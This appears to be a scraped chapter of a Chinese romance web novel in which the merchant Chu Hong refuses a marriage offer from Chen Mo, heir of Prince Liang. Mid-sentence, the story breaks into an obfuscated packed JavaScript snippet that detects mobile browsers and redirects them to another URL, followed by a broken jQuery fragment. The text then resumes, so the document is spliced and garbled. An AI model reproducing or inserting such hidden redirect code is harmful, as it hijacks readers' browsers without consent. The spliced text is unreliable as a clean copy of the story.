褚红摇摇头,“既然有如此才华,当然是要去试一试的。”
先不说,最后能不能当官,如果能再次惊艳他们一场,说不定以后可以对女子少些约束,多放宽些呢?
也可以给后面的女子们做个表率,即便是在科考上,她们也不见得就差到哪里去。
“举荐的话,我去找一找陈墨,让他以梁王世子的身份举荐应该是可以的。”
旬兰茹轻轻点头,见褚红提起梁王世子,忍不住问她,“你觉得世子如何?”
“怎么一副说媒的语气?”褚红不明白,原来她也这么八卦吗?
“你未嫁,他未娶,即便是说一说又不碍什么事。”
她往褚红那里凑了凑,两只耳朵像竖起来一样听她讲。
“王府的门槛太高,规矩又多,我做我的褚掌柜多好,每日里挣钱花钱就够了,何必去做自己不喜欢的事守自己不爱守的规矩呢?”
褚红话是那么说,可眼里总是有一丝失望的。
“那不喜欢的事里面也包括世子吗?”
陈墨好像也没有太讨厌,虽说有时候说的一些话是有些想给他一巴掌,可追根究底,他好像也没有做过什么坏事。
而且自己也不见得对他有多恭顺,若是换一个脾气大的,说不定早就暗地里下绊子把她累死了。
他确确实实帮了自己好几次,光凭这样来看,褚红就不能认定他是个坏人。
总的来说算是有一些教养,就是不多,但好歹不借势压人,在皇亲贵族中也算难得了吧。
“谈不上不喜欢,也谈不上喜欢。”
褚红实话实说。
旬兰茹似懂非懂,“虽说世子殿下脾气不怎么好,可胜在长相出众,当年在京都的时候,就冲着那一张脸,都有无数世家嫡女要嫁呢。”
“那为什么他现在还没有成亲?”
看着陈墨也不像未及冠的样子,按这边说早就应该三房六妾子孙满堂。
“本来是世子到了议亲的年纪,公主在京都开了一场赏花会,专门为他相看各家未出阁的小姐。”
“没想到的是有一个女子争风吃醋,诬陷另一个小姐不成,恼羞成怒大打出手,推搡之间将公主推倒在了地上。”
“后面来了太医,说公主的眼睛怕是以后都看不清东西了,梁王为此和那几个世家闹翻了脸,世子也不太上心自己的婚事了。”
褚红皱眉,原来还有这一段渊源。
旬兰茹又凑到褚红的耳朵边,“最重要的是,你想呀,以后公主就是你的婆婆,那日子该有多难熬啊,即便是看着那一张俊脸也不能吃上几十年的苦头吧?”
“好在我爹给我找了这一门亲事不用侍疾公婆,大嫂又待我极好,不然的话就翟二那个德性,我还真不敢嫁给他。”
褚红一副恍然大悟的表情,原来自古婆媳关系就不好不是传闻。
“但是我觉得如果是你的话,公主肯定也很喜欢你。”
褚红连忙摆手,“侯门后宅深似海,我实在没有那个福气高攀。”
旬兰茹一把握住她的手,“她还看过长恨歌,还有归月居很多话本子,我想如果是以后你和陈墨吵架了,她肯定都站在你这边。”
褚红擦了擦脑门上的汗,其实自古历史上封号梁王的好像都没有什么好下场。
如果公主情绪稳定的话,那她那个老公肯定是个超雄,要不然陈墨的性格怎么会那么拧巴。
“你今天到底来干嘛的?”
褚红不由的怀疑起了她真正的目的。
旬兰茹实话实说,“把你引去公主府……”
又小心翼翼看了一眼褚红,才将后面的话说完。
“商讨一下婚事。”
褚红唰的一下站了起来,一时间被震惊的言语有些结结巴巴,“为,为什么要商讨婚事?我和陈墨还没有到那一步吧!”
“孤男寡女在外共处几夜,公主也是觉得让你名声受损有碍颜面,况且世子又没有拒绝,顺水推舟让我来劝你。”
旬文茹也有些不好意思,脸色微红。
陈墨的脑子里又在想什么?他不应该拼命拒绝吗?都要盲婚哑嫁了,还装什么孝顺人设啊?
褚红气冲冲地去了公主府,认出她后,有人一路将她引到陈墨的面前,男人显然已经等了她很久了。
“你怎么不跟你母亲解释清楚呢?”
褚红坐在他的面前,有些生气。
“解释什么?孤男寡女,在外漂泊几夜?”
褚红有些费力的解释道,“虽然确实是孤男寡女可我们什么都没有做啊,你自己是知道的,就是你受伤了,我照顾你,给你熬汤啊。”
陈墨抬眼看她,男人那双幽深的眸子里看不穿喜怒。
“有解衣服吗?”
褚红点点头,还想辩解一句,“那个时候我们的衣服都湿了……”
“那本世子的衣物是不是你脱的?”
她再次点头,“你那个时候发烧,我总不能……”
“身体发肤受之父母,既然你看了那就应该承担起相应的责任。”
怎么他还贞洁上了?
“那你就把我当做是你洗澡的婢女好了。”
陈墨将手中的棋子缓缓放到面前的棋局中。
“我洗澡从来没有婢女服侍。”
褚红咬牙,“那你到底想怎么办?我那天也根本什么都没有看到好不好?其实我是闭着眼睛脱你衣服的。”
男人缓缓抬起视线,眼中像是闪过一丝什么,又突然消失不见。
“鬼话连篇。”
难道她现在还在等苏宁玉回来吗?
“我赔钱给你总行了吧?那十万两银子我在五天之内给你,至于婚事就算了吧。”
陈墨将手上的棋子收起来。
“不是因为银子逼你成婚的,这几天我一直在等你来找我。”
怎么言语中还有些委屈的意味?老天啊,陈墨是抽风了吗?
“太医说你之前落水还没有痊愈就再次掉进河里,身体已经大不如前,可能以后都不会再有子嗣。”
陈墨也不太明白,为什么那个时候,褚红还能拼着一口气照顾自己,明明她自己也病的不轻。
褚红倒不觉得有什么,没有太失望。
“所以你就要娶我?但也并不是完全被你害的啊,严格一点来说,应该是我拖累了你。”
她怎么看起来一点也不伤心的样子?
“我许你做我的侧妃,和我一起写进皇家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378467|164886||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
族谱里。”
呵,这次还升级了,不是什么通房小妾了?但这跟妾有什么区别?
“世子殿下,我们还是来说说那十万两银子的事吧,至于什么侧妃不侧妃,我是真的一点兴趣都没有。”
能用钱解决的事,那都不叫事。
“你不想嫁给我,是因为苏宁玉吗?”
陈墨还是问出了口,眉眼间都带上了些危险,好像只要褚红承认,他就立马让人去宰了苏宁玉一样。
这种攀比到底是从什么时候开始的?怎么聊什么话题突然就能扯上苏宁玉?
褚红立马摇头,“绝对不是。”
她确实欣赏苏宁玉,但也绝对不想就这么嫁人,后半辈子都被困于后宅想想人都要麻木了。
她潇潇洒洒做她的褚掌柜不行吗?
“山匪怎么样了?派人清缴了吗?”
褚红只能将这个话题扯开。
“我传话回京都,并没有人应我,只是暗中传闻太子派了人下来。”
难道说太子也在打这笔黑钱的主意吗?
“你打算怎么办?”
陈墨和她想的一块去了,如果太子一开始就在利用他,那也别怪他撕破着脸皮了。
“自然是等他们把银子运回京都的时候抢下来。”
当然这银子也不能在他的手里,沉默已经想好了他们的去处。
“然后沉江。”
褚红一时语塞,那么一大笔银子,他倒也舍得。
“既然你有了应对之法,那我就先走了。”
在她起身的时候,陈墨又问了一遍。“当真不愿意住进梁王府吗?”
“不愿意。”
褚红的话都是真心的,不是因为陈墨哪里不好,真的是这王府的院墙太高,她自由惯了,若是再加上种种礼教规矩束缚,那这后半辈子真是一眼望到头了。
见她头也不回的走了,陈墨眼中难掩失落。
“就如此喜欢吗?”
一身暗红色宫装的静慈从屏风后走出,也真是稀奇,本以为她的儿子并不会在儿女情长上犯难,没想到也有爱而不得的一天。
“谈不上什么喜欢,只是觉得太对不住她,她的身体成这个样子毕竟也是为了救我。”
“若是在她出嫁后被夫家嫌弃,还不如我娶了她,好生养着。”
静慈看向自己的儿子,好像看到了曾经年轻时候的陈群。
“不要学你父亲,做一些傻事,一个女人的心并没有很坚强,伤过一次之后上面的疤痕是无法愈合的。”
陈墨点点头,“我不会那么对褚红的。”
他一直不是很明白,为什么父亲母亲并不相爱,却非要凑在一起。
坊间传闻,母亲年少时曾经有一个青梅竹马,但是被父亲横插一脚,而那位青梅竹马,在得知母亲嫁人后,慢慢病入膏肓死掉了。
谁知道这背后,有多少是父亲做的安排?又有多少是天意呢?
“你和你父亲不一样,你是我的儿子,所以别人都会爱你,但你父亲……”
静慈像是在怀念什么一样,想了许久才道,“年少时父母不爱,成亲后妻子不爱,他极力想维护的家支离破碎,大概也是人做多了恶事之后的报应吧。”